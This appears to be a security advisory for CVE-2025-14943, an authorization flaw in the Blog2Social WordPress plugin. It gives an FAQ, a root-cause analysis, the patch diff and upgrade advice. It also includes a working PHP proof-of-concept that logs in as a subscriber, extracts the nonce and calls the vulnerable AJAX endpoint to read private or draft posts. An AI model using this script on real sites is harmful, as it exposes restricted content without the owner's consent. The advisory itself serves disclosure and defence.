What is CVE-2025-14943?

CVE-2025-14943 is a vulnerability in the Blog2Social plugin for WordPress, affecting versions up to 8.7.2. It allows authenticated users with Subscriber-level access to bypass authorization checks and access sensitive information from protected posts.

How does this vulnerability work?

The vulnerability arises from a misconfigured authorization check in the ‘getShipItemFullText’ function. It only verifies that a user has the ‘read’ capability and a valid nonce, failing to check if the user has permission to access the specific post, allowing unauthorized access to sensitive content.

Who is affected by this vulnerability?

Any WordPress site using the Blog2Social plugin version 8.7.2 or earlier is vulnerable. Authenticated users with at least Subscriber-level permissions can exploit this vulnerability to access restricted content.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Blog2Social plugin installed. If it is version 8.7.2 or earlier, your site is at risk. Additionally, you can review access logs for unauthorized access attempts to sensitive posts.

How can I fix this vulnerability?

To mitigate this vulnerability, update the Blog2Social plugin to version 8.7.3 or later, where the authorization check has been properly implemented. Regularly check for updates to all plugins and themes to maintain security.

What does the CVSS score of 4.3 indicate?

The CVSS score of 4.3 indicates a medium severity level, suggesting that while the vulnerability requires authenticated access to exploit, it can lead to significant confidentiality breaches if successfully exploited.

What types of content are at risk?

The vulnerability allows attackers to access sensitive information from password-protected, private, or draft posts. This can include proprietary information, unpublished content, or personal data intended for limited audiences.

What is the proof of concept for this vulnerability?

The proof of concept provided demonstrates how an authenticated user can exploit the vulnerability by sending a crafted POST request to the vulnerable endpoint, retrieving sensitive post content without proper authorization checks.

What is the importance of nonce validation in this context?

Nonces are used to validate requests and prevent CSRF attacks. However, in this case, nonce validation alone is insufficient for security, as it does not prevent unauthorized access to specific post content.

How can I further secure my WordPress site?

To enhance security, implement strong user role management, regularly update plugins and themes, use security plugins for monitoring, and conduct periodic security audits to identify vulnerabilities.

What should I do if I suspect my site has been compromised?

If you suspect a compromise, immediately change passwords, review user accounts for unauthorized access, check logs for suspicious activity, and consider restoring from a clean backup. Engage a security professional if necessary.

Where can I find more information about this vulnerability?

For more details on CVE-2025-14943, refer to the official CVE database, security advisories from the plugin developers, and security blogs that cover WordPress vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-14943: Blog2Social: Social Media Auto Post & Scheduler <= 8.7.2 – Incorrect Authorization to Authenticated (Subscriber+) Sensitive Information Exposure (blog2social)

CVE ID CVE-2025-14943

Plugin blog2social

Severity Medium (CVSS 4.3)

CWE 863

Vulnerable Version 8.7.2

Patched Version 8.7.3

Disclosed January 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14943:
This vulnerability is an incorrect authorization flaw in the Blog2Social WordPress plugin. The vulnerability allows authenticated users with Subscriber-level permissions to bypass post-level access controls. Attackers can extract sensitive content from password-protected, private, or draft posts. The CVSS 4.3 score reflects the authenticated nature and confidentiality impact of this information exposure.

The root cause lies in the `getShipItemFullText()` function within `/blog2social/includes/Ajax/Get.php`. Before the patch, the function performed only two checks: verifying the user has the generic ‘read’ capability (line 244) and validating the AJAX nonce (line 244). The function then directly retrieved post content using `get_post((int) $_POST[‘postId’])` (line 251) without verifying if the current user has permission to read that specific post ID. This missing check against the WordPress core `current_user_can(‘read_post’, $post_id)` function created the authorization bypass.

Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `b2s_get_ship_item_full_text`. The request must include a valid nonce (obtainable by a Subscriber) and a `postId` parameter targeting a protected post. The vulnerable endpoint returns the full post content in the response JSON, regardless of the post’s visibility status or password protection.

The patch adds a specific post-level authorization check at lines 250-253 in the updated `/blog2social/includes/Ajax/Get.php`. The new code calls `current_user_can(‘read_post’, (int) $_POST[‘postId’])` before processing the post data. This function consults WordPress’s post status and capability system, ensuring the user has explicit permission to read the requested post. The patch also improves code formatting for clarity but the security fix is the single added authorization check.

Successful exploitation leads to sensitive information exposure. Attackers can extract content from posts intended for limited audiences, including draft posts under editorial review, private posts for specific users, or password-protected posts. This violates confidentiality boundaries within multi-author WordPress sites and could expose proprietary information, unpublished content, or personal data.

Differential between vulnerable and patched code

Code Diff

--- a/blog2social/blog2social.php
+++ b/blog2social/blog2social.php
@@ -6,7 +6,7 @@
  * Author: Blog2Social, miaadenion
  * Text Domain: blog2social
  * Domain Path: /languages
- * Version: 8.7.2
+ * Version: 8.7.3
  * Requires at least: 6.2
  * Requires PHP: 7.4
  * Tested up to: 6.9
@@ -18,7 +18,7 @@
  * @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound, WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
  */

-define('B2S_PLUGIN_VERSION', '872');
+define('B2S_PLUGIN_VERSION', '873');
 define('B2S_PLUGIN_LANGUAGE', serialize(array('de_DE', 'en_US')));
 define('B2S_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define('B2S_PLUGIN_URL', plugin_dir_url(__FILE__));
--- a/blog2social/includes/Ajax/Get.php
+++ b/blog2social/includes/Ajax/Get.php
@@ -241,22 +241,31 @@
     }

     public function getShipItemFullText() {
-
+
         if (!current_user_can('read') || !check_ajax_referer('b2s_security_nonce', 'b2s_security_nonce', false)) {
             echo wp_json_encode(array('result' => false, 'error' => 'nonce'));
             wp_die();
         }

         if (isset($_POST['postId']) && (int) $_POST['postId'] > 0 && isset($_POST['networkAuthId']) && (int) $_POST['networkAuthId'] > 0) {
-                $userLang = isset($_POST['userLang']) ? trim(sanitize_text_field(wp_unslash($_POST['userLang']))) : strtolower(substr(B2S_LANGUAGE, 0, 2));
-                $data = get_post((int) $_POST['postId']);
-                if (isset($data->post_content)) {
-                    $postUrl = (get_permalink($data->ID) !== false) ? get_permalink($data->ID) : $data->guid;
-                    $content = trim(B2S_Util::prepareContent($data->ID, $data->post_content, $postUrl, '', false, $userLang));
-                    $networkId = isset($_POST['networkId']) ? (int) $_POST['networkId'] : 0;
-                    echo json_encode(array('result' => true, 'text' => trim(sanitize_textarea_field($content)), 'networkAuthId' => (int) $_POST['networkAuthId'], 'networkId' => $networkId));
-                    wp_die();
-                }
+
+            // Add authorization check for the specific post
+            if (!current_user_can('read_post',(int) $_POST['postId'])) {
+                echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+                wp_die();
+            }
+
+            $userLang = isset($_POST['userLang']) ? trim(sanitize_text_field(wp_unslash($_POST['userLang']))) : strtolower(substr(B2S_LANGUAGE, 0, 2));
+            $data = get_post((int) $_POST['postId']);
+
+            if (isset($data->post_content)) {
+
+                $postUrl = (get_permalink($data->ID) !== false) ? get_permalink($data->ID) : $data->guid;
+                $content = trim(B2S_Util::prepareContent($data->ID, $data->post_content, $postUrl, '', false, $userLang));
+                $networkId = isset($_POST['networkId']) ? (int) $_POST['networkId'] : 0;
+                echo json_encode(array('result' => true, 'text' => trim(sanitize_textarea_field($content)), 'networkAuthId' => (int) $_POST['networkAuthId'], 'networkId' => $networkId));
+                wp_die();
+            }
             }

         echo json_encode(array('result' => false));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14943 - Blog2Social: Social Media Auto Post & Scheduler <= 8.7.2 - Incorrect Authorization to Authenticated (Subscriber+) Sensitive Information Exposure

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$target_post_id = 123; // ID of a password-protected, private, or draft post

// Step 1: Authenticate and obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only

// Perform WordPress login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Step 2: Extract the b2s security nonce from the admin page
// The nonce is typically available in JavaScript variables or hidden fields
// For this PoC, we assume the attacker can load a page containing the nonce
$admin_url = $target_url . '/wp-admin/admin.php?page=blog2social';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);

// Extract nonce from page (simplified pattern - actual implementation may vary)
preg_match('/b2s_security_nonce.*?["']([a-f0-9]+)["']/', $admin_page, $matches);
$b2s_nonce = $matches[1] ?? '';

if (empty($b2s_nonce)) {
    die('Failed to extract security nonce. The attacker may need to visit the Blog2Social admin page first.');
}

// Step 3: Exploit the vulnerable endpoint
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
$exploit_payload = array(
    'action' => 'b2s_get_ship_item_full_text',
    'b2s_security_nonce' => $b2s_nonce,
    'postId' => $target_post_id,
    'networkAuthId' => 1, // Required parameter but value is arbitrary
    'userLang' => 'en',
    'networkId' => 1
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$exploit_response = curl_exec($ch);

// Step 4: Parse and display results
$result = json_decode($exploit_response, true);
if ($result && isset($result['result']) && $result['result'] === true) {
    echo "Exploit successful!n";
    echo "Extracted content from post ID $target_post_id:nn";
    echo substr($result['text'], 0, 500) . "...n";
} else {
    echo "Exploit failed. Response:n";
    echo $exploit_response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2025-14943?
Overview of the vulnerability
CVE-2025-14943 is a vulnerability in the Blog2Social plugin for WordPress, affecting versions up to 8.7.2. It allows authenticated users with Subscriber-level access to bypass authorization checks and access sensitive information from protected posts.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from a misconfigured authorization check in the ‘getShipItemFullText’ function. It only verifies that a user has the ‘read’ capability and a valid nonce, failing to check if the user has permission to access the specific post, allowing unauthorized access to sensitive content.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Blog2Social plugin version 8.7.2 or earlier is vulnerable. Authenticated users with at least Subscriber-level permissions can exploit this vulnerability to access restricted content.
How can I check if my site is vulnerable?
Steps to verify vulnerability
To check if your site is vulnerable, verify the version of the Blog2Social plugin installed. If it is version 8.7.2 or earlier, your site is at risk. Additionally, you can review access logs for unauthorized access attempts to sensitive posts.
How can I fix this vulnerability?
Recommended actions
To mitigate this vulnerability, update the Blog2Social plugin to version 8.7.3 or later, where the authorization check has been properly implemented. Regularly check for updates to all plugins and themes to maintain security.
What does the CVSS score of 4.3 indicate?
Understanding risk levels
The CVSS score of 4.3 indicates a medium severity level, suggesting that while the vulnerability requires authenticated access to exploit, it can lead to significant confidentiality breaches if successfully exploited.
What types of content are at risk?
Sensitive information exposure
The vulnerability allows attackers to access sensitive information from password-protected, private, or draft posts. This can include proprietary information, unpublished content, or personal data intended for limited audiences.
What is the proof of concept for this vulnerability?
Demonstrating the exploit
The proof of concept provided demonstrates how an authenticated user can exploit the vulnerability by sending a crafted POST request to the vulnerable endpoint, retrieving sensitive post content without proper authorization checks.
What is the importance of nonce validation in this context?
Role of nonces in security
Nonces are used to validate requests and prevent CSRF attacks. However, in this case, nonce validation alone is insufficient for security, as it does not prevent unauthorized access to specific post content.
How can I further secure my WordPress site?
Best practices for WordPress security
To enhance security, implement strong user role management, regularly update plugins and themes, use security plugins for monitoring, and conduct periodic security audits to identify vulnerabilities.
What should I do if I suspect my site has been compromised?
Response to potential breaches
If you suspect a compromise, immediately change passwords, review user accounts for unauthorized access, check logs for suspicious activity, and consider restoring from a clean backup. Engage a security professional if necessary.
Where can I find more information about this vulnerability?
Resources for further reading
For more details on CVE-2025-14943, refer to the official CVE database, security advisories from the plugin developers, and security blogs that cover WordPress vulnerabilities.

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